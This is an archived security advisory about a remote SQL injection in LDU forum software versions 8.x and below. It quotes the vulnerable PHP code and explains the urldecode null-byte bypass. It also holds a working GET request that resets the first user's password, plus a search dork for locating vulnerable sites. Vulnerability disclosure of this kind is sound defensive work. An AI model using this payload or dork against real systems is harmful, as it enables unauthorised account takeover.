exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ldu8x-sql.txt

ldu8x-sql.txt
Posted Nov 27, 2006
Authored by Mustafa Can Bjorn | Site nukedx.com

LDU versions 8.x and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | d9bc2f56226ae6bd20a30c65ca5985599456a91cc2397e3f45df9273b8dffb28

ldu8x-sql.txt

Change Mirror Download
--Security Report--
Advisory: LDU <= 8.x Remote SQL Injection Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 21/10/06 09:44 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}
---
Vendor: Neocrome (http://www.neocrome.net)
Version: 8.x also prior versions must be affected.
About: Via this methods remote attacker can manipulate SQL query and
change everything in LDU's user database.Vulnerable code can be found
in profile.inc.php at lines 142-150

-Source in system/core/profile/profile.inc.php-
142: case 'avatarselect':
143: /* ============= */
144:
145: ldu_check_xg();
146: $avatar = $cfg['av_dir'].urldecode($id);
147: if (file_exists($avatar))
148: { $sql = ldu_query("UPDATE $db_users SET user_avatar='$avatar'
WHERE user_id='".$usr['id']."'"); }
149:
150: break;
-End of source-

As you can see "id" parameter did not sanitized properly and used with
urldecode() function which decodes id's value so remote attacker can
bypass magic_quotes_gpc and other functions which escapes ' strings.In
avatarselect LDU checks files available with file_exists function and
urldecode help us by using null byte.
A demostration exploitation will be given in How&Example part.
Level: Highly Critical
---
How&Example:
GET ->
http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gif[SQL
Inject]
GET ->
http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=default.gif%2500%2527,user_password=%2527e10adc3949ba59abbe56e057f20f883e%2527/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of LDU to
123456
The XVALUE comes with your avatarselect link it's special to everyuser in LDU.
For using this vulnerability you must be logged in to LDU...
Timeline:
* 21/10/2006: Vulnerability found.
* 21/10/2006: Contacted with vendor and waiting reply.
---
Original advisory: http://www.nukedx.com/?viewdoc=51
---
Exploit:
http://www.nukedx.com/?getxpl=51
---
Dorks: "Powered by LDU"

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close